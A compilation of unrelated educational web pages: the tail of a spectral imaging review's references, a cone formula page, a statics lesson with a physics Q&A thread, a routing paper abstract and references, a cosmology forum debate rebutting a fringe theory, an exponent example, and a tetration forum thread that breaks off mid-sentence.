100. Koundinya, S. et al. 2D-3D CNN based architectures for spectral reconstruction from RGB images. Proceedings of 2018 IEEE/CVF Conference on Computer Vision and Pattern Recognition Workshops, 957–9577 (IEEE, 2018).
101. Ji, S. W. et al. 3D convolutional neural networks for human action recognition. IEEE Trans. Pattern Anal. Mach. Intel. 35, 221–231 (2013).
102. Banerjee, A. & Palrecha, A. MXR-U-nets for real time hyperspectral reconstruction. https://arxiv.org/abs/2004.07003 (2020).
103. He, T. et al. Bag of tricks for image classification with convolutional neural networks. Proceedings of 2019 IEEE/CVF Conference on Computer Vision and Pattern Recognition, 558–567 (IEEE, 2019).
104. Misra, D. Mish: a self regularized non-monotonic activation function. The 31st British Machine Vision Virtual Conference: online (2020).
105. Wang, W. J. & Wang, J. W. Double ghost convolution attention mechanism network: a framework for hyperspectral reconstruction of a single RGB image. Sensors 21, 666 (2021).
106. Han, K. et al. GhostNet: more features from cheap operations. Proceedings of 2020 IEEE/CVF Conference on Computer Vision and Pattern Recognition, 1577–1586 (IEEE, 2020).
107. Wang, X. L. et al. Non-local neural networks. Proceedings of 2018 IEEE/CVF Conference on Computer Vision and Pattern Recognition, 7794–7803 (IEEE, 2018).
## Acknowledgements
We thank Dr. Hongya Song, Ms. Chenning Tao, Ms. Wen Cao, and Mr. Bo Tao at Zhejiang University for their valuable discussions on CASSI architecture. This work was funded by “Leading Goose” Research and Development Program of Zhejiang (2022C01077), National Key Research and Development Program of China (2018YFA0701400), National Natural Science Foundation of China (92050115), and Zhejiang Provincial Natural Science Foundation of China (LZ21F050003).
## Author information
Authors
### Corresponding author
Correspondence to Xiang Hao.
## Ethics declarations
### Conflict of interest
The authors declare no competing interests.
## Rights and permissions
Reprints and Permissions
Huang, L., Luo, R., Liu, X. et al. Spectral imaging with deep learning. Light Sci Appl 11, 61 (2022). https://doi.org/10.1038/s41377-022-00743-6
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## Calculate the volume of the cone, surface area of the cone and know the formulas.
#### Cone Calculator
Result:
Radius: 0 Height: 0 Volume: 0 Surface Area: 0
### What is a Cone?
In three-dimensional geometry, a cone is a shape which becomes narrower smoothly from a flat base (sometimes, circular) to a point called the apex or vertex. A cone is formed from line segments, lines or half-lines connecting a common point, the vertex, to all the points on the base. A cone can also be defined as a pyramid with a circular cross-section, unlike pyramids which have a triangular cross-section. Such cones are called circular cones.
In the above figure, the base of the cone is a circle of radius r. The distance from the centre of the base to the vertex of the cone is called the height h of the cone. The distance from the vertex to any point on the circumference of the base is called the slant height of the cone indicated by L.
### Properties of Cone
Given below are some properties of a cone.
Slant height – The distance from the vertex to any point on the circumference of the base, via a line segment, is called the slant height of the cone.
Volume – This is the total space occupied by the cone.
Lateral surface area – The lateral surface area of a cone is the area of the cone excluding the surface area of the base.
Surface area – Surface area is the total area covered by the cone. It is equal to the sum of the lateral surface area and the area covered by the circular base.
### Cone formulas
Given below are the formulas of a cone.
Volume $${1\over3}πr^2h \;cubic \,units$$ Lateral surface area $$πr \, \sqrt{r^2+h^2} \;square \;units \;$$ Surface area $$πr^2 \; + \; πr \, \sqrt{r^2+h^2} \;square \;units \;$$ Slant Height $$\sqrt{r^2+h^2} \;square \;units$$
### Characteristics of a Cone
Given below are the main characteristics of a cone.
• A cone has one vertex (or apex), and one face (which is the circle at the base).
• It does not have any edges.
• A cone is also defined as a pyramid with a circular cross-section.
• The slant height of a cone is the distance from the vertex to any point on the circumference of the base, via a line segment.
• If a cone has a circular base, and the axis from the vertex to the base passes through the centre of the circle at the base, then the cone is said to be a right cone. In such a cone, the vertex lies just above the centre of the circular base.
• In a right cone, the axis and the base of the cone form a right angle.
• If a cone has a circular base, but the axis of the cone is not perpendicular to the base, then the cone is said to be an oblique cone.
• In an oblique cone, the vertex of the cone does not lie just above the circle at the base. This is why the cone looks tilted.
The figure below shows the two types of cones.
### Areas of application
Cones are frequently observed all around us, such as wafer cones used to scoop ice cream into. Birthday hats are also conical. Traffic cones, like the orange and white coloured ones seen on the roads and occasionally in playing arenas, are also cones.
Funnels are also shaped as cones: they have a broad mouth on top and a narrow opening below. They are used to filter liquids. Conical shapes can also be observed in buildings, such as caste turrets and temple tops. Vegetables like carrots and radish are also conical in shape. When a pencil is sharpened, the tip of the pencil is in the shape of a cone. Even the Christmas tree is in the shape of a cone.
We now consider a real-life example making use of the cone formulas.
Question: A conical storage tank, 9 feet high and 14 feet wide, is used for storing water. What is the maximum amount of water this tank can hold? If the exterior of the tank is to be painted, what would be the total area of the tank required to paint?
Answer: According to the question, the storage tank is 14 feet wide. This indicates the diameter of the circle at the base.
Hence, the radius of the base r = 7 feet.
Height of the tank, h = 9 feet.
Quantity of water it can hold can be measured by its volume $$V \; = \;{1\over3}πr^2h$$
Therefore, $$V\;=\;{1\over3} \,π(7^2)9 \; = \; {1\over3} \,π×49×9 = 461.81 \;cubic \;feet$$
To find the area to be painted, we need to compute the total surface area of the tank.
Surface area = $$πr^2 \;+ \; πr \,\sqrt{r^2+h^2} \;square \;feet \\ π(7)^2 \,+ \,π×7 \sqrt{7^2+9^2} \; square \;feet \\ π×49 \;+ \;π×7×12 \; = \;49π+84π \;= \;133π \; square\; feet$$
Hence, the total surface area = 133π = 417.832 square feet.
So, the volume of water this tank can hold is nearly 461.81 cubic feet, and the total area to be painted is 417.832 square feet.
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# 9.4 Applications of statics, including problem-solving strategies
Page 1 / 3
• Discuss the applications of Statics in real life.
• State and discuss various problem-solving strategies in Statics.
Statics can be applied to a variety of situations, ranging from raising a drawbridge to bad posture and back strain. We begin with a discussion of problem-solving strategies specifically used for statics. Since statics is a special case of Newton’s laws, both the general problem-solving strategies and the special strategies for Newton’s laws, discussed in Problem-Solving Strategies , still apply.
## Problem-solving strategy: static equilibrium situations
1. The first step is to determine whether or not the system is in static equilibrium . This condition is always the case when the acceleration of the system is zero and accelerated rotation does not occur .
2. It is particularly important to draw a free body diagram for the system of interest . Carefully label all forces, and note their relative magnitudes, directions, and points of application whenever these are known.
3. Solve the problem by applying either or both of the conditions for equilibrium (represented by the equations $\text{net}\phantom{\rule{0.25em}{0ex}}F=0$ and $\text{net}\phantom{\rule{0.25em}{0ex}}\tau =0$ , depending on the list of known and unknown factors. If the second condition is involved, choose the pivot point to simplify the solution . Any pivot point can be chosen, but the most useful ones cause torques by unknown forces to be zero. (Torque is zero if the force is applied at the pivot (then $r=0$ ), or along a line through the pivot point (then $\theta =0$ )). Always choose a convenient coordinate system for projecting forces.
4. Check the solution to see if it is reasonable by examining the magnitude, direction, and units of the answer. The importance of this last step never diminishes, although in unfamiliar applications, it is usually more difficult to judge reasonableness. These judgments become progressively easier with experience.
Now let us apply this problem-solving strategy for the pole vaulter shown in the three figures below. The pole is uniform and has a mass of 5.00 kg. In [link] , the pole’s cg lies halfway between the vaulter’s hands. It seems reasonable that the force exerted by each hand is equal to half the weight of the pole, or 24.5 N. This obviously satisfies the first condition for equilibrium $\text{(net}\phantom{\rule{0.25em}{0ex}}F=0\right)$ . The second condition $\text{(net}\phantom{\rule{0.25em}{0ex}}{\tau }_{}=\text{0)}$ is also satisfied, as we can see by choosing the cg to be the pivot point. The weight exerts no torque about a pivot point located at the cg, since it is applied at that point and its lever arm is zero. The equal forces exerted by the hands are equidistant from the chosen pivot, and so they exert equal and opposite torques. Similar arguments hold for other systems where supporting forces are exerted symmetrically about the cg. For example, the four legs of a uniform table each support one-fourth of its weight.
In [link] , a pole vaulter holding a pole with its cg halfway between his hands is shown. Each hand exerts a force equal to half the weight of the pole, ${F}_{R}={F}_{L}=w/2$ . (b) The pole vaulter moves the pole to his left, and the forces that the hands exert are no longer equal. See [link] . If the pole is held with its cg to the left of the person, then he must push down with his right hand and up with his left. The forces he exerts are larger here because they are in opposite directions and the cg is at a long distance from either hand.
#### Questions & Answers
what's the period of velocity 4cm/s at displacement 10cm
Andrew Reply
What is physics
LordRalph Reply
the branch of science concerned with the nature and properties of matter and energy. The subject matter of physics includes mechanics, heat, light and other radiation, sound, electricity, magnetism, and the structure of atoms.
Aluko
and the word of matter is anything that have mass and occupied space
Aluko
what is phyices
Aurang Reply
Whats the formula
Okiri Reply
1/v+1/u=1/f
Aluko
what aspect of black body spectrum forced plank to purpose quantization of energy level in its atoms and molicules
Shoaib Reply
a man has created by who?
Angel Reply
What type of experimental evidence indicates that light is a wave
Edeh Reply
double slit experiment
Eric
The S. L. Unit of sound energy is
Chukwuemeka Reply
what's the conversation like?
ENOBONG Reply
some sort of blatherring or mambo jambo you may say
muhammad
I still don't understand what this group is all about oo
ENOBONG
no
uchenna
ufff....this associated with physics ..so u can ask questions related to all topics of physics..
muhammad
what is sound?
Bella
what is upthrust
Mercy Reply
what is upthrust
Olisa
Up thrust is a force
Samuel
upthrust is a upward force that acts vertical in the ground surface.
Rodney
what is wave
Bryan Reply
mirobiology
Angel
what is specific latent heat
Omosebi Reply
the total amount of heat energy required to change the physical state of a unit mass of matter without a corresponding change in temperature.
fitzgerald
is there any difference between specific heat and heat capacity.....
muhammad
what wave
Bryan
why medical physics even.we have a specoal branch of science biology for this.
Sahrrr Reply
what is physics
AbleGod Reply
what is the s.i unit for work
Betty Reply
joules
Aaron
Joules
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Subscribe
Issue No.02 - February (2009 vol.20)
pp: 171-179
Jie Gao , Stony Brook University, Stony Brook
Li Zhang , Microsoft Research Silicon Valley, Mountain View
ABSTRACT
An unweighted graph has density \rho and growth rate k if the number of nodes in every ball with radius r is bounded by \rho r^{k}. The communication graphs of wireless networks and peer-to-peer networks often have constant bounded density and small growth rate. In this paper, we study the trade-off between two quality measures for routing in growth-restricted graphs. The two measures we consider are the stretch factor, which measures the lengths of the routing paths, and the load-balancing ratio, which measures the evenness of the traffic distribution. We show that if the routing algorithm is required to use paths with stretch factor c, then its load-balancing ratio is bounded by O(\rho^{1/k}(n/c)^{1 - 1/k}), and the bound is tight in the worst case. We show the application and extension of the trade-off to the wireless network routing and VLSI layout design. We also present a load-balanced routing algorithm with the stretch factor constraint in an online setting, in which the routing requests come one by one.
INDEX TERMS
Routing, load balancing, wireless networks, growth-restricted graphs.
CITATION
Jie Gao, Li Zhang, "Trade-Offs between Stretch Factor and Load-Balancing Ratio in Routing on Growth-Restricted Graphs", IEEE Transactions on Parallel & Distributed Systems, vol.20, no. 2, pp. 171-179, February 2009, doi:10.1109/TPDS.2008.75
REFERENCES
[1] I. Abraham, C. Gavoille, A.V. Goldberg, and D. Malkhi, “Routing in Networks with Low Doubling Dimension,” Proc. 26th IEEE Int'l Conf. Distributed Computing Systems (ICDCS '06), p. 75, 2006. [2] I. Abraham and D. Malkhi, “Name Independent Routing for Growth Bounded Networks,” Proc. 17th ACM Symp. Parallelism in Algorithms and Architectures (SPAA '05), pp. 49-55, 2005. [3] M. Andrews, D. Bhatia, T. Leighton, F. Makedon, C.H. Norton, and L. Zhang, “Improved Algorithms for Routing on Two-Dimensional Grids,” unpublished manuscript. [4] J. Aspnes, Y. Azar, A. Fiat, S. Plotkin, and O. Waarts, “On-Line Machine Scheduling with Applications to Load Balancing and Virtual Circuit Routing,” Proc. 25th Ann. ACM Symp. Theory of Computing (STOC '93), pp. 623-631, 1993. [5] B. Awerbuch, Y. Azar, and S.A. Plotkin, “Throughput-Competitive On-Line Routing,” Proc. 34th Ann. IEEE Symp. Foundations of Computer Science (FOCS '93), pp. 32-40, 1993. [6] Y. Azar, “On-Line Load Balancing,” On-line Algorithms: The State of the Art, A. Fiat and G. Woeginger, eds., LNCS 1442, pp. 178-195, Springer, 1998. [7] H. Badr and S. Podar, “An Optimal Shortest-Path Routing Policy for Network Computers with Regular Mesh-Connected Topologies,” IEEE Trans. Computers, vol. 38, no. 10, pp. 1362-1371, Oct. 1989. [8] Y. Bartal and S. Leonardi, “On-Line Routing in All-Optical Networks,” Theoretical Computer Science, vol. 221, nos. 1-2, pp. 19-39, 1999. [9] A. Borodin and R. El-Yaniv, Online Computation and Competitive Analysis. Cambridge Univ. Press, 1998. [10] T.H. Cormen, C.E. Leiserson, and R.L. Rivest, Introduction to Algorithms. MIT Press, 1994. [11] E.W. Dijkstra, “A Note on Two Problems in Connexion with Graphs,” Numerische Mathematik, vol. 1, pp. 269-271, 1959. [12] D. Eppstein, “Spanning Trees and Spanners,” Handbook of Computational Geometry, J.-R. Sack and J. Urrutia, eds., North-Holland, 2000. [13] S. Even, A. Itai, and A. Shamir, “On the Complexity of Timetable and Multicommodity Flow Problems,” SIAM J. Computing, vol. 5, pp. 691-703, 1976. [14] J. Gao, L.J. Guibas, J. Hershberger, L. Zhang, and A. Zhu, “Geometric Spanners for Routing in Mobile Networks,” IEEE J.Selected Areas in Comm., special issue on Wireless Ad Hoc Networks, vol. 23, no. 1, pp. 174-185, 2005. [15] J. Gao and L. Zhang, “Load Balanced Short Path Routing in Wireless Networks,” IEEE Trans. Parallel and Distributed Systems, special issue on Localized Comm., vol. 17, no. 4, pp. 377-388, Apr. 2006. [16] “Special Issue: Energy-Aware Ad Hoc Wireless Networks,” IEEE Wireless Comm., A. Goldsmith and S. Wicker, eds., vol. 9, Aug. 2002. [17] A. Gupta, R. Krauthgamer, and J.R. Lee, “Bounded Geometries, Fractals, and Low-Distortion Embeddings,” Proc. 44th Ann. IEEE Symp. Foundations of Computer Science (FOCS '03), pp. 534-543, 2003. [18] K. Hildrum, R. Krauthgamer, and J. Kubiatowicz, “Object Location in Realistic Networks,” Proc. 16th ACM Symp. Parallelism in Algorithms and Architectures (SPAA '04), pp. 25-35, 2004. [19] C.E. Jones, K.M. Sivalingam, P. Agrawal, and J.-C. Chen, “A Survey of Energy Efficient Network Protocols for Wireless Networks,” Wireless Networks, vol. 7, no. 4, pp. 343-358, 2001. [20] D. Karger and M. Ruhl, “Find Nearest Neighbors in Growth-Restricted Metrics,” Proc. 34th ACM Symp. Theory of Computing (STOC '02), pp. 741-750, 2002. [21] J. Kleinberg, “Approximation Algorithms for Disjoint Paths Problems,” PhD dissertation, Dept. of EECS, MIT, 1996. [22] G. Konjevod, A.W. Richa, and D. Xia, “Optimal-Stretch Name-Independent Compact Routing in Doubling Metrics,” Proc. 25th Ann. ACM Symp. Principles of Distributed Computing (PODC '06), pp. 198-207, 2006. [23] G. Konjevod, A.W. Richa, D. Xia, and H. Yu, “Compact Routing with Slack in Low Doubling Dimension,” Proc. 26th Ann. ACM Symp. Principles of Distributed Computing (PODC '07), pp. 71-80, 2007. [24] G. Konjevod, A.W. Richa, D. Xia, and H. Yu, “Optimal Scale-Free Compact Routing Schemes in Networks of Low Doubling Dimension,” Proc. 18th Ann. ACM-SIAM Symp. Discrete Algorithms (SODA '07), pp. 939-948, 2007. [25] F. Kuhn and A. Zollinger, “Ad-Hoc Networks Beyond Unit Disk Graphs,” Proc. Joint Workshop Foundations of Mobile Computing, pp. 69-78, 2003. [26] F.T. Leighton, B.M. Maggs, and S.B. Rao, “Packet Routing and Job-Shop Scheduling in O(congestion$+$ dilation) Steps,” Combinatorica, vol. 14, pp. 167-186, 1994. [27] T. Leighton, “Methods for Message Routing in Parallel Machines,” Theoretical Computer Science, vol. 128, nos. 1-2, pp. 31-62, 1994. [28] X.-Y. Li, G. Calinescu, and P.-J. Wan, “Distributed Construction of Planar Spanner and Routing for Ad Hoc Networks,” Proc. IEEE INFOCOM '02, pp. 1268-1277, 2002. [29] N. Linial, E. London, and Y. Rabinovich, “The Geometry of Graphs and Some of Its Algorithmic Applications,” Combinatorica, vol. 15, pp. 215-245, 1995. [30] C. Mead and L. Conway, Introduction to VLSI Systems. Addison-Wesley, 1980. [31] F. Meyer auf de Heide, C. Schindelhauer, K. Volbert, and M. Grünewald, “Energy, Congestion and Dilation in Radio Networks,” Proc. 14th ACM Symp. Parallelism in Algorithms and Architectures (SPAA '02), pp. 230-237, 2002. [32] E. Ng and H. Zhang, “Predicting Internet Network Distance with Coordinates-Based Approaches,” Proc. IEEE INFOCOM '02, pp. 170-179, 2002. [33] C.G. Plaxton, R. Rajaraman, and A.W. Richa, “Accessing Nearby Copies of Replicated Objects in a Distributed Environment,” Proc. Ninth ACM Symp. Parallelism in Algorithms and Architectures (SPAA '97), pp. 311-320, 1997. [34] P. Raghavan, “Probabilistic Construction of Deterministic Algorithms: Approximating Packing Integer Programs,” J. Computer and System Sciences, pp. 130-143, 1988. [35] P. Raghavan and C.D. Thompson, “Provably Good Routing in Graphs: Regular Arrays,” Proc. 17th Ann. ACM Symp. Theory of Computing (STOC '85), pp. 79-87, 1985. [36] T.-H. Yeh, C.-M. Kuo, C.-L. Lei, and H.-C. Yen, “Competitive Source Routing on Tori and Meshes,” Proc. Int'l Symp. Algorithms and Computation (ISAAC '97), pp. 82-91, 1997.
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## Expansion of the Universe question
by The Angry Citizen:
I hope you all (4/8/11 to 4/30/11) won't get too angry when you discover that Creation (of something to go "bang", necessary for a Big Bang) requires an act of magic and that magic is not allowed when one studies the Universe. Instead, you must recognize objective reality as your tool in this epistemological arena.
The Cosmological Redshift? How else could it be developed? Try studying the Galactic Clusters that thoroughly dominate our Universe, and observe that redshifts (a side show) are like light light from a forest fire. And see where else a Galactic Cluster will lead you.
Quote by jbwright by The Angry Citizen: I hope you all (4/8/11 to 4/30/11) won't get too angry when you discover that Creation (of something to go "bang", necessary for a Big Bang) requires an act of magic and that magic is not allowed when one studies the Universe. Instead, you must recognize objective reality as your tool in this epistemological arena. The Cosmological Redshift? How else could it be developed? Try studying the Galactic Clusters that thoroughly dominate our Universe, and observe that redshifts (a side show) are like light light from a forest fire. And see where else a Galactic Cluster will lead you.
Am I reading you correctly, and you're saying that you believe in magic, as in divine or other magic? That's nothing to do with science; nothing at all.
Recognitions:
Gold Member
Quote by jbwright I hope you all (4/8/11 to 4/30/11) won't get too angry when you discover that Creation (of something to go "bang", necessary for a Big Bang) requires an act of magic and that magic is not allowed when one studies the Universe. Instead, you must recognize objective reality as your tool in this epistemological arena. The Cosmological Redshift? How else could it be developed? Try studying the Galactic Clusters that thoroughly dominate our Universe, and observe that redshifts (a side show) are like light light from a forest fire. And see where else a Galactic Cluster will lead you.
What in the world are you talking about? I don't get any of what you're saying.
• do you not believe in the big bang?
• how is redshift like a forest fire?
• how is redshift a "side show"
I'm willing to believe I am just not able to interpret you, but I think you need to explain yourself better instead of just making statements that don't seem to make sense.
Blog Entries: 2 jb seems to be asking possibly valid questions, but in the wrong forum.. perhaps it comes from an emotional investment.. but as this forum is less about theoretical, I'll stop there ;)
Theoretical? The issue with magic is the same as with a bad theory; lack of falsifiability and support. The need for physics which contradicts existing theories which work, and more. The notion that "before" the big bang or other event is no longer the work of science is a valid statement right now, but it doesn't lead to magic, and it isn't a license to go off the rails.
What's the use of substituting a theory because it is too "magical" with another even more fantastic? BTW, personal theories are not allowed in this site.
Some 80 years ago, astronomers had discovered a downward shift in the frequency of the light from distant galaxies (from the blue end of the spectrum towards the red, or a "Redshift"), and their even more recent discovery that this redshift became greater the farther away was the light-source galaxy. In an attempt to account for this redshift they decided that it must be a Doppler effect caused by the movement of the galaxies away from us, and ended up with an Expanding Universe. This resulted in the invented the Big Bang as the explosion that would start the Universe on its journey. So, aside from having had to have been a monstrous explosion to have driven 200 billion galaxies (of 100 billion stars each) out into space, even more disturbing is the question of where all of this mass would have come from? Where , but perhaps through creation, an act of creating something out of nothing? I.e., and act of Magic? So, as we are determined not to use magic we are left with a Universe of some hundreds of billions of galaxies, with the redshifts in their light, and with little else. And this, of course, meant that we needed to look further to find what could take its place. It is here that I suggest Galactic Clusters, a gravitational grouping of galaxies throughout the Universe, from only a few galaxies to over two thousand. These build over billions of years, collecting stellar winds as well as the galaxies, compressing all into an ever more dense aggregations of galaxies and gases, and eventually building a dominant spiral galaxy, a Seyfert. In time the mass and density in the core of the Seyfert Galaxy reaches a critical point at which a nuclear convulsion occurs and two Quasars are ejected, one on each side of the Seyfert. From here it is necessary to go to the studies of the sky's by Halton Arp, where he recognizes that these Seyferts and Quasars are connected in a well defined way, occurring about once every 7 billion years, and that the Quasars themselves blossom into galaxies over a period of time, only to become swallowed by the galactic clusters. Hence, a galactic recycling happening at each of (say) 10 million Seyfert galaxies throughout our Universe, and perhaps on into an infinity of Existence. Now, the major problem herein is the nature of the explosion within the Seyfert galaxy that takes the ashes and other debris from the Galactic Clusters and turns them into the well organized masses that are to become the Quasars from which the new galaxies are to be formed. The Cosmological Redshifts can surely become real when one considers the constantly compressing gases all through the Galactic Clusters, and the other wealth of resources.
Recognitions:
Gold Member
The Cosmological Redshifts can surely become real when one considers the constantly compressing gases all through the Galactic Clusters, and the other wealth of resources.
All the other nonsense in your post aside, no. This does not explain redshift in any way whatsoever. You are asking to get banned with your post.
Now, the major problem herein is the nature of the explosion within the Seyfert galaxy that takes the ashes and other debris from the Galactic Clusters and turns them into the well organized masses that are to become the Quasars from which the new galaxies are to be formed.
This isn't anything like a real quasar, sorry.
So, aside from having had to have been a monstrous explosion to have driven 200 billion galaxies (of 100 billion stars each) out into space, even more disturbing is the question of where all of this mass would have come from? Where , but perhaps through creation, an act of creating something out of nothing?
Prove it came from nothing. There are multiple hypothesis about what was before the big bang. Not all of them assume that NOTHING was there.
Recognitions: Gold Member Drakkith, I was happy to see your response to this post. I'm not knowledgeable enough to be sure but this all sounded like nonsense to me. I did check out Halton Arp and apparently he's a guy who's done some valuable work but is now considered to be on the fringe, refusing to give up his belief in intrinsic redshift hypothesis even though it has been discredited. I THINK some of jbwright's argument requires intrinsic redshift, but it's all so incoherent to me that I can't be sure.
Recognitions:
Gold Member
Quote by phinds Drakkith, I was happy to see your response to this post. I'm not knowledgeable enough to be sure but this all sounded like nonsense to me. I did check out Halton Arp and apparently he's a guy who's done some valuable work but is now considered to be on the fringe, refusing to give up his belief in intrinsic redshift hypothesis even though it has been discredited. I THINK some of jbwright's argument requires intrinsic redshift, but it's all so incoherent to me that I can't be sure.
Unfortunently MANY people misunderstand the big bang theory and incorrectly assume that science says everything came from nothing. Not that this is purely their fault. I've seen many a TV show or similar where supposedly credible scientists claim that all this came from nothing. Or they at least pose the question "Where did all this come from?" in the context that it seems to come from nothing. This, obviously, leads to MANY arguments and forays into philosophical areas and leads many people away from science because they simply can't believe that everything came from nothing and science must be wrong. My own grandfather, a devout christian and pastor, has brought this argument up to me several times.
It appears that dark energy is speeding the expansion and works like antigravity and is a repellent force rather than attracting force. Einstein once proposed this but discarded it as his greatest blunder. It may not have been. In his theory of special relativity, he uses light as a universal constant. I personally think that is a greater blunder. I think he called it a cosmological constant or something like that, and he was maybe on to something, but he seemed so hung up on things being constants. I don't personally believe in constants, but in variables and flows and infinite probabilities.
Quote by Drakkith Unfortunently MANY people misunderstand the big bang theory and incorrectly assume that science says everything came from nothing. Not that this is purely their fault. I've seen many a TV show or similar where supposedly credible scientists claim that all this came from nothing. Or they at least pose the question "Where did all this come from?" in the context that it seems to come from nothing. This, obviously, leads to MANY arguments and forays into philosophical areas and leads many people away from science because they simply can't believe that everything came from nothing and science must be wrong. My own grandfather, a devout christian and pastor, has brought this argument up to me several times.
Too true; how often do you hear it described as an "explosion"? No wonder people tend to think of it as something within space-time, instead of the beginning of both, the expansion of both from a pinprick.
@Marcus & Cepheid, What I can't seem to find is an accurate number on the measured rate of expansion of the universe. There's 70km per second per megaparsec (which I take to be close to the Hubble Constant?) which is (oddly) given in one-dimensional terms rather than volume. But this number doesn't seem to include the accelerating rate of expansion detected in the late 90's by Perlmutter et al. That number (70km/s/megaparsec) seems equivalent to a 2.27 x 10^-16% increase in volume per second. This is fantastically low!--were it an interest rate on a bank account, your $1000 deposit would still be only$1000 after 14.7 billion years. Which doesn't seem right financially or cosmologically. To calculate the changing rate of acceleration of space, a large enough number is needed to show significant change in the volume of space since inflation ended about 14.7 billion years ago. Anybody have a more accurate number?
Recognitions: Gold Member Is 70,000 km/s for a billion parsecs a small amount? (Thats 3.26 billion light years)
@Drakkith, If the number I found is off by orders of magnitude that would explain the discrepancy--in that 10^-16% doesn't generate any noticeable expansion. What I'm trying to do is calculate the rate of expansion by using a simpler formula, that for calculating compound interest, than those given above. In that analogy space expands its bank account at some interest rate per second. That "interest rate" can then be used to figure out its rate of acceleration. That formula is: I=V(1+r)^t where I is the increased volume, V is the initial volume, r is the rate of expansion per second, and t is the time passed in seconds.
See above for formula.
Recognitions: Gold Member Hrmm. I'm not sure on all the math to calculate this, but I have to ask if you took Inflation into account.
Similar discussions for: Expansion of the Universe question Thread Forum Replies Astrophysics 1 Cosmology 11 General Astronomy 12 Astrophysics 40 Cosmology 4
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# How do you multiply x^ { 2} \cdot x ^ { 8} \cdot x ?
May 25, 2018
Add the exponents ${x}^{2 + 8 + 1}$ = ${x}^{11}$
#### Explanation:
${x}^{2} = x \times x$
${x}^{8} = x \times x \times x \times x \times x \times x \times x \times x$
$x = {x}^{1} = 1 \times x$
Add all the x's ( 2 + 8 + 1)
By adding all the exponents to multiply
${x}^{2 + 8 + 1} = {x}^{11}$
May 25, 2018
The answer is ${x}^{11}$.
$2 + 8 + 1$
which would equal $11$.
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Question about speed of growth Ivars Long Time Fellow Posts: 366 Threads: 26 Joined: Oct 2007 05/16/2008, 06:05 PM (This post was last modified: 05/16/2008, 08:48 PM by bo198214.) I have a question about Wikipedia Tetration page. Do You find it not proper yet to single out the "mysterious" property of infinite tetration to turn certain real numbers x in x[4]n into complex as n->oo? My speculative sentence would be related to speeds of growth: Tetration is already so fast operation that it turns real numbers into complex; That might be used to define tetration since anything that does not do it in infinite limit is not tetration yet, while faster operations must produce even more interesting transformations of numbers. What would be the speed of tetration in Conways notation (in Cantor ordinal numbers) if exp(x) has speed $\omega$, exp(exp(x) = $\omega^{\omega}$ (The Book of Numbers, p.299)? Would it be $\omega^{\omega}^{\omega}.............$? For any base or only base e? That means speed of operation: x[4]n is $\omega[3]n$? Then we can say that to turn certain range of Real numbers into complex, the speed of operation has to be at least: $\omega[3]\infty$. Thus, it will not be related to convergence or divergence of operations, but to transformations of numbers it can perform, and would that be a safe enough information to mention in Wikipedia? Another interesting thing is that infinitesimals has negative growth rates (accroding to the same page) , so if tetration would be applied to infinitesimal: dx[4]n means its growth rate would be $-\omega[3]n$ and dx[4]oo will have growth rate $-\omega[3]\infty$ Which is interesting as it links negative Cantor Ordinal numbers and negative growth rates in general with infinitesimals. The question is what transformations under such or more negative growth rates are infinitesimals able to undergo? What do we get as a result, what type of number? Ivars Moderators note: Moved from "FAQ discussion", which is about discussing the forum's FAQ and not about asking questions (that not even occur frequently) Ivars Long Time Fellow Posts: 366 Threads: 26 Joined: Oct 2007 05/16/2008, 10:53 PM (This post was last modified: 05/16/2008, 10:54 PM by Ivars.) Hmm.. Ok, and if we have speed of growth of operation defined, can we say that it is a derivative of operation vs. something? Like d(x[4]n)/dx= w[3]n ? Or will it be d(x[4]n)/dx= (w+lnx/x )[3]n? d(x[4]oo/dx= w[4]oo ? or d(x[4]oo/dx =(w+ln(x)/x)[3]oo ? and my beloved: d(h(e^(pi/2)))/d(e^pi/2) = (w+pi/2)* w[4]oo ?? ( the coefficient pi/2 may not be correct , it is just intuitive placement that if base is not e, somewhere we have to see it, the speed of growth has to be faster if x>e; it may be also (w+pi/2)[3]oo). And again, since h(e^(pi/2))) = i d(i)/d(e^pi/2) = (w+pi/2)[4]oo or (w+I*pi/2)[4]oo Probably these questions have been solved in more satisfactory manner without differentiating imaginary unit and i^(1/i) in infinitary calculus mentioned by Conway in his Book of numbers , but I could not find accessible readable reference. Excuse me for allowing myself to post such unchecked conjectures. Ivars bo198214 Administrator Posts: 1,389 Threads: 90 Joined: Aug 2007 05/17/2008, 05:50 AM (This post was last modified: 05/17/2008, 05:54 AM by bo198214.) Ivars Wrote:Do You find it not proper yet to single out the "mysterious" property of infinite tetration to turn certain real numbers x in x[4]n into complex as n->oo? Dont know what about you are speaking. If you have two positive real numbers $x$ and $y$ then $x^y$ is again a positive real number, hence the limit of $x[4]n$,$n\to\infty$ is a real number, if existing. If you chose a negative number $x$ then of course you may get a complex number as the result of exponentiation. Quote:My speculative sentence would be related to speeds of growth: Tetration is already so fast operation that it turns real numbers into complex; You see thats already a property of triation=exponentiation which turns to real numbers into a complex one. Quote:d(x[4]n)/dx= w[3]n ? Or will it be d(x[4]n)/dx= (w+lnx/x )[3]n? No need to go into speculation, thats an easy exercise which you can solve for yourself: $\frac{dx[4]2}{dx}=\frac{dx^x}{dx}={x}^{x} \left( \ln \left( x \right) +1 \right)$ $\frac{dx[4]3}{dx}=\frac{dx^{x^x}}{d x}={x}^{{x}^{x}} \left( {x}^{x} \left( \ln \left( x \right) +1 \right) \ln \left( x \right) +{\frac {{x}^{x}}{x}} \right)$ $\frac{dx[4]4}{dx}=\frac{dx^{x^{x^x}}}{dx}={x}^{{x}^{{x}^{x}}} \left( {x}^{{x}^{x}} \left( {x}^{x} \left( \ln \left( x \right) +1 \right) \ln \left( x \right) +{\frac {{x}^{x}}{x }} \right) \ln \left( x \right) +{\frac {{x}^{{x}^{x}}}{x}} \right)$ obviously $\frac{dx[4]n}{dx}\neq w^n$ and $\frac{d x[4]n}{dx}\neq \left(w+\frac{\ln(x)}{x}\right)^n$ whatever $w$ is. What is it btw? Ivars Long Time Fellow Posts: 366 Threads: 26 Joined: Oct 2007 05/17/2008, 06:13 AM (This post was last modified: 05/17/2008, 07:30 AM by Ivars.) bo198214 Wrote:obviously $\frac{dx[4]n}{dx}\neq w^n$ and $\frac{d x[4]n}{dx}\neq \left(w+\frac{\ln(x)}{x}\right)^n$ whatever $w$ is. What is it btw? Thanks again. This will help to put it on better footing or dismiss. I was aware that differentiation by x is wrong here since speed is mentioned in relation to x-> infinity. So differentiation, if possible at all , must be either d/d(?) leaving it open, d/d (oo), d/d (i) or something else. Perhaps time calculus as it allows to pick out subsets from real numbers by using graininess function mju(t), so differentiation vs. mixed discrete continuous variable is possible. What if mju(t) would be w(t) of mju(w) ( speculation again). w=$\omega$ is 